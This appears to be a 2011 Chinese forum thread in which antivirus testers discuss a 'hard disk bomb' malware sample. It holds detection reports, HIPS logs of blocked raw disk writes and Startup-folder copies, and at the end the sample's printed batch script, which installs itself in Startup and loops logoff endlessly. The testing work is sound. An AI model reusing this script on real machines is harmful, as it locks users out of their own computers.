硬盘炸弹 43楼有更新

荷韵诗

327942278 发表于 2011-4-25 16:35
过微点

毒霸干掉

夜游城

回复 43楼 327942278 的帖子

这个确定有改MBR么。

hddu

夜游城 发表于 2011-4-25 17:13
回复 43楼 327942278 的帖子

这个确定有改MBR么。

没有，运行后重启，会向磁盘写入大量的TXT文件。
乱猜的。

njjsxy

43L
to kis

minchaovip

回复 43楼 327942278 的帖子

43楼 你确定是病毒么, 只有2个杀软报毒啊
2/ 41 (4.9%)
http://www.virustotal.com/file-s ... f9727367-1303724407

留侯

43L，大蜘蛛clean，已上报

中国网络警察

回复 43楼 327942278 的帖子

微点主防拦。

bluelily

43L 过IK

ppy0606

2011-4-25 18:16:22    底层磁盘写操作    阻止
进程: d:\我的文档\virus test\硬盘炸弹\killmbr.exe
目标: \Device\Harddisk0\DR0
规则: [应用程序组]●研磨

2011-4-25 18:16:22    底层磁盘写操作    阻止
进程: d:\我的文档\virus test\硬盘炸弹\killmbr.exe
目标: \Device\Harddisk0\DR0
规则: [应用程序组]●研磨

2011-4-25 18:16:22    底层磁盘写操作    阻止
进程: d:\我的文档\virus test\硬盘炸弹\killmbr.exe
目标: \Device\Harddisk0\DR0
规则: [应用程序组]●研磨

ppy0606

43L

卡死了...


2011-4-25 18:22:49    创建文件    允许
进程: d:\我的文档\virus test\炸弹\炸弹.exe
目标: C:\Documents and Settings\9eyes.PPY\Local Settings\Temp\bt5575.bat
规则: [应用程序组]●研磨 -> [应用程序]d:\我的文档\virus test\炸弹\炸弹.exe -> [文件组]允许文件 -> [文件]?:\*\local*\temp\*

2011-4-25 18:22:49    设置文件隐藏属性    允许
进程: d:\我的文档\virus test\炸弹\炸弹.exe
目标: C:\Documents and Settings\9eyes.PPY\Local Settings\Temp\bt5575.bat
规则: [应用程序组]●研磨 -> [应用程序]d:\我的文档\virus test\炸弹\炸弹.exe -> [文件组]允许文件 -> [文件]?:\*\local*\temp\*

2011-4-25 18:22:49    创建新进程    允许
进程: d:\我的文档\virus test\炸弹\炸弹.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /c C:\DOCUME~1\9eyes.PPY\LOCALS~1\Temp\bt5575.bat "D:\我的文档\virus test\炸弹\炸弹.exe"
规则: [应用程序组]●研磨 -> [应用程序]d:\我的文档\virus test\炸弹\炸弹.exe -> [子应用程序]c:\windows\system32\cmd.exe

2011-4-25 18:22:49    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\9eyes.PPY\「开始」菜单\程序\启动\炸弹.exe
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-25 18:22:49    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\9eyes.PPY\「开始」菜单\程序\启动\炸弹.exe
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-25 18:22:49    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Documents and Settings\9eyes.PPY\「开始」菜单\程序\启动\炸弹.exe
规则: [应用程序组]c\windows -> [文件组]文件保护 -> [文件]?:\*\「开始」菜单\*

2011-4-25 18:22:49    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\logoff.exe
命令行: logoff
规则: [应用程序组]c\windows

2011-4-25 18:22:50    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\logoff.exe
命令行: logoff
规则: [应用程序组]c\windows

2011-4-25 18:22:50    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\logoff.exe
命令行: logoff
规则: [应用程序组]c\windows

2011-4-25 18:22:50    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\logoff.exe
命令行: logoff
规则: [应用程序组]c\windows



@shift 1
@echo off
cls
color 4F
@copy %0 "%userprofile%\「开始」菜单\程序\启动"
:qqq
logoff
goto qqq
for/?>q.txt